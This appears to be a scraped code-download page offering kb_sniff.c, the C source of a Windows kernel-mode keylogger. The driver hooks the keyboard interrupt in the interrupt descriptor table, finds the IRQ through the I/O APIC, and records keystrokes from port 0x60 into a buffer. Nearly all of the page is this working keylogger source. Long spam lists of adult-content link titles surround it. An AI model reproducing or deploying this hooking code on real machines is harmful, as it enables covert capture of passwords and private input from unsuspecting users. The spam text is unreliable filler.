亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? kb_sniff.c

?? 通過驅(qū)動(dòng)直接讀取Intel 82093AA I/O的鍵盤記錄器
?? C
字號(hào):

/*
 *  鍵盤記錄器 v0.0.1 by 一塊三毛錢 2005.11.02
 *  
 *  http://www.zhongts.net
 */

// Basic Keyboard Sniffer
// - v 1.0 Greg Hoglund, BHWindows 2004

#include <ntddk.h>
#include <stdio.h>

#define	MAX_CHARS			256
#define MAKELONG(a, b) ((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short) (b))) << 16))


PUCHAR KEYBOARD_PORT_60 = (PUCHAR)0x60;
PUCHAR KEYBOARD_PORT_64 = (PUCHAR)0x64;

// status register bits
#define IBUFFER_FULL		0x02
#define OBUFFER_FULL		0x01

// flags for keyboard status
#define	S_SHIFT				1
#define	S_CAPS				2
#define	S_NUM				4

int kb_status = S_NUM;

///////////////////////////////////////////////////
// IDT structures
///////////////////////////////////////////////////
#pragma pack(1)

// entry in the IDT, this is sometimes called
// an "interrupt gate"
typedef struct
{
	unsigned short LowOffset;
	unsigned short selector;
	unsigned char unused_lo;
	unsigned char segment_type:4;	//0x0E is an interrupt gate
	unsigned char system_segment_flag:1;
	unsigned char DPL:2;	// descriptor privilege level 
	unsigned char P:1; /* present */
	unsigned short HiOffset;
} IDTENTRY;

/* sidt returns idt in this format */
typedef struct
{
	unsigned short IDTLimit;
	unsigned short LowIDTbase;
	unsigned short HiIDTbase;
} IDTINFO;

#pragma pack()

int	kb_int = 0x93;

unsigned long old_ISR_pointer;
unsigned char keystroke_buffer[MAX_CHARS];
int kb_array_ptr=0;

unsigned char asciiTbl[]={
    0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,	//normal
    0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x5B, 0x5D, 0x0D, 0x00, 0x61, 0x73,
    0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x7A, 0x78, 0x63, 0x76,
    0x62, 0x6E, 0x6D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x2D, 0x3D, 0x08, 0x09,	//caps
    0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x5B, 0x5D, 0x0D, 0x00, 0x41, 0x53,
    0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3B, 0x27, 0x60, 0x00, 0x5C, 0x5A, 0x58, 0x43, 0x56,
    0x42, 0x4E, 0x4D, 0x2C, 0x2E, 0x2F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,	//shift
    0x51, 0x57, 0x45, 0x52, 0x54, 0x59, 0x55, 0x49, 0x4F, 0x50, 0x7B, 0x7D, 0x0D, 0x00, 0x41, 0x53,
    0x44, 0x46, 0x47, 0x48, 0x4A, 0x4B, 0x4C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x5A, 0x58, 0x43, 0x56,
    0x42, 0x4E, 0x4D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E,
    0x00, 0x1B, 0x21, 0x40, 0x23, 0x24, 0x25, 0x5E, 0x26, 0x2A, 0x28, 0x29, 0x5F, 0x2B, 0x08, 0x09,	//caps + shift
    0x71, 0x77, 0x65, 0x72, 0x74, 0x79, 0x75, 0x69, 0x6F, 0x70, 0x7B, 0x7D, 0x0D, 0x00, 0x61, 0x73,
    0x64, 0x66, 0x67, 0x68, 0x6A, 0x6B, 0x6C, 0x3A, 0x22, 0x7E, 0x00, 0x7C, 0x7A, 0x78, 0x63, 0x76,
    0x62, 0x6E, 0x6D, 0x3C, 0x3E, 0x3F, 0x00, 0x2A, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x37, 0x38, 0x39, 0x2D, 0x34, 0x35, 0x36, 0x2B, 0x31,
    0x32, 0x33, 0x30, 0x2E
};

ULONG WaitForKbRead()
{
	int i = 100;
	UCHAR mychar;
	
	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);

		if(!(mychar & OBUFFER_FULL)) break;
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

ULONG WaitForKbWrite()
{
	int i = 100;
	UCHAR mychar;
	
	do
	{
		mychar = READ_PORT_UCHAR( KEYBOARD_PORT_64 );

		KeStallExecutionProcessor(666);

		if(!(mychar & IBUFFER_FULL)) break;
	}
	while (i--);

	if(i) return TRUE;
	return FALSE;
}

VOID OnUnload( IN PDRIVER_OBJECT DriverObject )
{
	IDTINFO		idt_info;
	IDTENTRY*	idt_entries;
	char _t[255];

	// load idt_info
	__asm	sidt	idt_info	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("UnHooking Interrupt...");

	// restore the original interrupt handler
	__asm cli
	idt_entries[kb_int].LowOffset = (unsigned short) old_ISR_pointer;
	idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)old_ISR_pointer >> 16);
	__asm sti

	DbgPrint("UnHooking Interrupt complete.");
	
	DbgPrint("Keystroke Buffer is: ");
	DbgPrint("%s", keystroke_buffer);
}

// using stdcall means that this function fixes the stack before returning (opposite of cdecl)
void __stdcall print_keystroke()
{
	UCHAR	sch, ch = 0;
	int		off = 0;

	WaitForKbRead();
	sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	if (sch == 0xE0)
	{
		WaitForKbRead();
		sch = READ_PORT_UCHAR(KEYBOARD_PORT_60);
	}

	if (kb_status & S_CAPS)
		off += 0x54;
	if (kb_status & S_SHIFT)
		off += 0x54 * 2;

	if ((sch & 0x80) == 0)	//make
	{
		if ((sch < 0x47) || 
			((sch >= 0x47 && sch < 0x54) && (kb_status & S_NUM))) // Num Lock
		{
			ch = asciiTbl[off+sch];
		}
		
		switch (sch)
		{
		case 0x3A:
			kb_status ^= S_CAPS;
			break;

		case 0x2A:
		case 0x36:
			kb_status |= S_SHIFT;
			break;

		case 0x45:
			kb_status ^= S_NUM;
		}
	}
	else		//break
	{
		if (sch == 0xAA || sch == 0xB6)
			kb_status &= ~S_SHIFT;
	}

	if (ch >= 0x20 && ch < 0x7F)
	{
		keystroke_buffer[kb_array_ptr++] = ch;
		keystroke_buffer[kb_array_ptr] = '\0';
		if (kb_array_ptr >= MAX_CHARS-1)
		{
			kb_array_ptr = 0;
		}
	}

	//put scancode back (works on PS/2)
	WRITE_PORT_UCHAR(KEYBOARD_PORT_64, 0xD2); //command to echo back scancode	
	WaitForKbWrite();
	WRITE_PORT_UCHAR(KEYBOARD_PORT_60, sch); //write the scancode to echo back
}

// naked functions have no prolog/epilog code - they are functionally like the 
// target of a goto statement
__declspec(naked) my_interrupt_hook()
{
	__asm
	{
		pushad					// save all general purpose registers
		pushfd					// save the flags register
		call	print_keystroke	// call function
		popfd					// restore the flags
		popad					// restore the general registers
		jmp		old_ISR_pointer	// goto the original ISR
	}
}

// Intel 82093AA I/O Advanced Programmable Interrupt Controller (I/O APIC) Datasheet.pdf
int search_irq1()
{
	unsigned char *pIoRegSel = (unsigned char *)0xFFD04000;
	unsigned char *pIoWin = (unsigned char *)0xFFD04010;
	unsigned char ch;

/*
	int  i;
	unsigned char j;

	for (i = 0, j = 0x10; i <= 0x17; i++, j += 2)
	{
		*pIoRegSel = j;
		ch = *pIoWin;
		DbgPrint("RedTbl[%02X]: 0x%02X\n", i, ch);
	}
*/

	*pIoRegSel = 0x12;	// irq1
	ch = *pIoWin;

	return (int)ch;
}

NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )
{
	IDTINFO		idt_info;
	IDTENTRY*	idt_entries;
	char _t[255];
	
	theDriverObject->DriverUnload  = OnUnload; 

	kb_int = search_irq1();
	DbgPrint("kb_int = 0x%02X\n", kb_int);

	// load idt_info
	__asm	sidt	idt_info
	
	idt_entries = (IDTENTRY*) MAKELONG(idt_info.LowIDTbase,idt_info.HiIDTbase);

	DbgPrint("Hooking Interrupt...");
	old_ISR_pointer = MAKELONG(idt_entries[kb_int].LowOffset,idt_entries[kb_int].HiOffset);
	
	// remember we disable interrupts while we patch the table
	__asm cli
	idt_entries[kb_int].LowOffset = (unsigned short)my_interrupt_hook;
	idt_entries[kb_int].HiOffset = (unsigned short)((unsigned long)my_interrupt_hook >> 16);
	__asm sti

	DbgPrint("Hooking Interrupt complete: Old = 0x%08X, New = 0x%08X\n", old_ISR_pointer, my_interrupt_hook);

	return STATUS_SUCCESS;
}






















?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
亚洲国产精品久久人人爱蜜臀| 久久久久久久久久电影| 激情五月婷婷综合| 成人免费在线观看入口| 日韩一本二本av| 91玉足脚交白嫩脚丫在线播放| 国产在线不卡视频| 日韩经典中文字幕一区| 最好看的中文字幕久久| 国产亚洲欧美激情| 欧美一级理论性理论a| 一本久久精品一区二区| 国产盗摄视频一区二区三区| 美日韩一级片在线观看| 亚洲成人中文在线| 亚洲精品免费在线观看| 国产精品久久久久永久免费观看 | 日韩亚洲国产中文字幕欧美| 99精品欧美一区二区三区综合在线| 美女视频一区二区| 偷拍一区二区三区四区| 亚洲精品国产高清久久伦理二区| 欧美激情一区二区三区不卡| 久久亚洲精品国产精品紫薇| 日韩视频一区二区| 欧美一级片免费看| 欧美精品高清视频| 欧美日韩国产综合久久| 色婷婷综合久久久久中文一区二区 | 黑人巨大精品欧美黑白配亚洲| 亚洲超碰97人人做人人爱| 一区二区三区欧美日| 亚洲欧美日韩人成在线播放| 亚洲欧洲日产国码二区| 国产精品久久国产精麻豆99网站| 久久免费偷拍视频| 国产亚洲污的网站| 欧美国产一区视频在线观看| 欧美国产日韩一二三区| 国产精品免费视频观看| 国产精品久久久久久久午夜片| 中文字幕精品一区| 中文字幕一区二区不卡 | 麻豆专区一区二区三区四区五区| 亚洲图片自拍偷拍| 日日夜夜精品视频免费| 蜜桃在线一区二区三区| 美女诱惑一区二区| 国产精品99久久久| 成人app在线观看| 色噜噜狠狠色综合欧洲selulu| 欧美亚洲综合久久| 91精品国产综合久久精品麻豆| 91精品麻豆日日躁夜夜躁| 日韩精品一区二区三区在线观看 | 亚洲成人精品一区| 日韩vs国产vs欧美| 国产一区二区三区在线看麻豆| 国产成a人无v码亚洲福利| 99久久精品免费观看| 欧美伊人精品成人久久综合97| 欧美群妇大交群的观看方式 | 综合色中文字幕| 一区二区三区加勒比av| 三级不卡在线观看| 国产福利视频一区二区三区| 97久久精品人人爽人人爽蜜臀| 欧美性极品少妇| 欧美一级片免费看| 中文字幕不卡在线观看| 亚洲成av人片在线观看无码| 九一久久久久久| 91亚洲大成网污www| 5月丁香婷婷综合| 欧美经典三级视频一区二区三区| 亚洲六月丁香色婷婷综合久久| 五月婷婷综合网| 成人一区二区三区中文字幕| 色综合久久久久网| 欧美成人欧美edvon| 综合在线观看色| 蜜桃av噜噜一区二区三区小说| 成年人国产精品| 日韩欧美一级二级三级| 中文字幕亚洲综合久久菠萝蜜| 免费人成黄页网站在线一区二区| 成人av免费在线播放| 欧美一卡二卡在线| 亚洲精品福利视频网站| 狠狠色2019综合网| 欧美日韩精品一区二区三区蜜桃| 国产亚洲欧美日韩日本| 午夜精品一区二区三区免费视频| 国产精品99久久久久| 欧美日韩国产综合草草| 亚洲欧美在线视频| 精品系列免费在线观看| 在线看日本不卡| 国产精品看片你懂得| 精品写真视频在线观看| 8v天堂国产在线一区二区| 国产精品全国免费观看高清 | 亚洲精品在线免费播放| 一区二区欧美视频| 成人黄色免费短视频| 亚洲精品一区二区三区蜜桃下载| 亚洲制服丝袜一区| 波多野结衣亚洲一区| 精品国产制服丝袜高跟| 日韩av中文字幕一区二区三区| 色94色欧美sute亚洲13| 国产欧美一区在线| 经典三级一区二区| 91精品婷婷国产综合久久竹菊| 亚洲综合男人的天堂| 成人福利视频网站| 欧美国产一区在线| 国产精品一二三四| 欧美精品一区二区久久婷婷| 日韩avvvv在线播放| 欧美二区三区的天堂| 性做久久久久久免费观看欧美| 91亚洲精品久久久蜜桃网站| 国产精品不卡视频| 成人白浆超碰人人人人| 国产欧美一区二区三区网站| 精品一区二区成人精品| 欧美精品一区二区在线观看| 九九**精品视频免费播放| 日韩欧美国产wwwww| 蜜桃91丨九色丨蝌蚪91桃色| 日韩视频免费观看高清在线视频| 日韩精品国产欧美| 日韩视频永久免费| 精品一区二区综合| 久久麻豆一区二区| 国产精品综合一区二区| 中文字幕久久午夜不卡| 99v久久综合狠狠综合久久| 1区2区3区精品视频| 一道本成人在线| 亚洲在线成人精品| 91麻豆精品国产91久久久久久久久| 日日摸夜夜添夜夜添国产精品 | 乱一区二区av| 欧美zozo另类异族| 国产一区二区三区久久悠悠色av| 国产日韩欧美精品在线| 成a人片亚洲日本久久| 亚洲伦理在线精品| 欧美精品久久天天躁| 麻豆成人91精品二区三区| 久久人人97超碰com| 99在线精品一区二区三区| 一区二区三区91| 日韩欧美国产午夜精品| 国产v综合v亚洲欧| 一区二区三区美女视频| 日韩视频免费直播| 成人小视频免费观看| 亚洲一区av在线| 精品国产乱码久久久久久老虎| 国产精品一区二区不卡| 亚洲日本韩国一区| 91精品国产乱码| 成人免费高清视频| 亚洲成人免费在线观看| 精品国产一区二区亚洲人成毛片 | 国产东北露脸精品视频| 亚洲日本中文字幕区| 91精品国产欧美一区二区| 国产盗摄一区二区| 一区二区三区四区不卡在线| 日韩午夜在线观看视频| 99免费精品在线观看| 日韩国产欧美在线播放| 国产精品久久久久久久久快鸭| 欧美三级电影在线观看| 国产成人综合网站| 三级久久三级久久久| 国产精品久久久久久久久图文区| 欧美久久久久中文字幕| 风间由美中文字幕在线看视频国产欧美 | 国产黄色精品网站| 一区二区三区中文字幕精品精品 | 一区二区三区高清| 久久综合九色综合97婷婷女人 | 欧美午夜影院一区| 国产成人日日夜夜| 日韩av中文字幕一区二区三区| 国产精品毛片高清在线完整版| 51精品秘密在线观看| 成人涩涩免费视频| 久久国产精品无码网站| 亚洲高清不卡在线观看| 中文字幕一区二区三区av| 337p日本欧洲亚洲大胆色噜噜| 欧美三片在线视频观看| 91一区二区在线观看| 国产夫妻精品视频|